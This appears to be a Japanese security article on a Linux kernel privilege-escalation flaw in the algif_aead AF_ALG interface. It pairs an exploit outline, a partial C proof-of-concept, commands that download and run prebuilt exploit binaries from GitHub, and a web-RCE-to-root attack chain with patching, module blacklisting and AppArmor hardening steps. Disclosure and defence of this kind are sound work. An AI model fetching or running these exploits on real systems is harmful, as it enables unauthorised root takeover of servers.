バッファオーバーフロー → カーネルメモリへの境界外書き込み

algif_aead_copy_sgl()
  └─ sg_copy_to_buffer()
       └─ memcpy がユーザーによって部分的に制御されたアドレスへ

// これはシステム上のどのユーザーでも実行できます
int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);

# カーネルバージョンの確認
uname -r

# 脆弱なモジュールがロードされているか確認
lsmod | grep algif_aead

# AF_ALGが利用可能か確認
cat /proc/net/protocols | grep ALG

$ uname -r
6.2.0-20-generic

$ lsmod | grep algif_aead
algif_aead             20480  0
af_alg                 32768  3 algif_aead,algif_skcipher,algif_hash

1. AF_ALGソケット (algif_aead) を開く
2. 過大なバッファで sendmsg() を送信
3. より小さいバッファで recvmsg() → バグのトリガー
4. カーネルヒープへのOOB書き込み
5. cred->uid/gid を 0 に上書き
6. execve("/bin/sh") → rootシェル

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>

int main(void) {
    struct sockaddr_alg sa = {
        .salg_family = AF_ALG,
        .salg_type   = "aead",
        .salg_name   = "gcm(aes)",
        .salg_feat   = 0,
        .salg_mask   = 0,
    };

    int fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
    bind(fd, (struct sockaddr *)&sa, sizeof(sa));

    // 16バイトの鍵を設定
    char key[16] = {0};
    setsockopt(fd, SOL_ALG, ALG_SET_KEY, key, sizeof(key));
    setsockopt(fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 16);

    int op_fd = accept(fd, NULL, NULL);

    // 大きなバッファ → OOB書き込みのトリガー
    char big_buf[4096] = {0};
    char small_buf[16] = {0};

    struct msghdr msg = {0};
    // ... ALG_OP_ENCRYPT を使用した cmsg による msghdr の構築
    sendmsg(op_fd, &msg, 0);

    // 不十分なバッファでの recvmsg → カーネルが境界外に書き込む
    recv(op_fd, small_buf, sizeof(small_buf), 0);

    // エクスプロイトが成功した場合、現在はroot
    if (getuid() == 0) {
        printf("[+] ルート取得!\n");
        execl("/bin/sh", "sh", NULL);
    }

    return 0;
}

# copy-fail-c のクローンとコンパイル
git clone https://github.com/tgies/copy-fail-c
cd copy-fail-c
make
./copyfail

# 脆弱なシステムでの期待される結果:
# [*] algif_aead モジュールを確認中...
# [*] ヒープスプレーを準備中...
# [+] OOB書き込み成功
# [+] UID: 0
# # whoami
# root

wget https://github.com/Crihexe/copy-fail-tiny-elf-CVE-2026-31431/raw/main/copyfail
chmod +x copyfail
./copyfail

外部の攻撃者
      │
      ▼
Webアプリの脆弱性 (RCE) を悪用 → www-data としてアクセス
      │
      ▼
copyfail をサーバーにアップロード (wget/curl)
      │
      ▼
./copyfail を実行
      │
      ▼
サーバー上でrootシェル ✓

# オプション1: Ubuntu 24.04 LTS へのアップグレード (推奨)
do-release-upgrade

# オプション2: すでに Ubuntu 22.04 LTS を使用している場合
sudo apt update && sudo apt dist-upgrade
sudo reboot
# パッチ適用済みカーネルの確認
uname -r   # Ubuntu 22.04 では 5.15.0-107 以上である必要があります

# モジュールのブラックリストを作成
echo "blacklist algif_aead" | sudo tee /etc/modprobe.d/blacklist-algif-aead.conf

# initramfs を再生成して永続化
sudo update-initramfs -u

# 再起動
sudo reboot

lsmod | grep algif_aead
# 何も表示されないはず

# 権限のないユーザー名前空間を無効化 (Dockerの一部の機能が壊れます)
sudo sysctl -w kernel.unprivileged_userns_clone=0

# 永続化
echo "kernel.unprivileged_userns_clone=0" | sudo tee -a /etc/sysctl.d/99-hardening.conf
sudo sysctl -p /etc/sysctl.d/99-hardening.conf

# /etc/apparmor.d/local/restrict-af-alg
network af_alg,   # 特定のプロファイルで拒否

# www-data または nginx のAppArmorプロファイルに追加
# deny network af_alg,
sudo apparmor_parser -r /etc/apparmor.d/usr.sbin.nginx

# www-data に sudo がないことを確認
sudo grep www-data /etc/sudoers

# 不要なSUIDバイナリを削除
find / -perm -4000 2>/dev/null

# アクセス可能なディレクトリを制限
chmod 700 /root
chmod 750 /home/*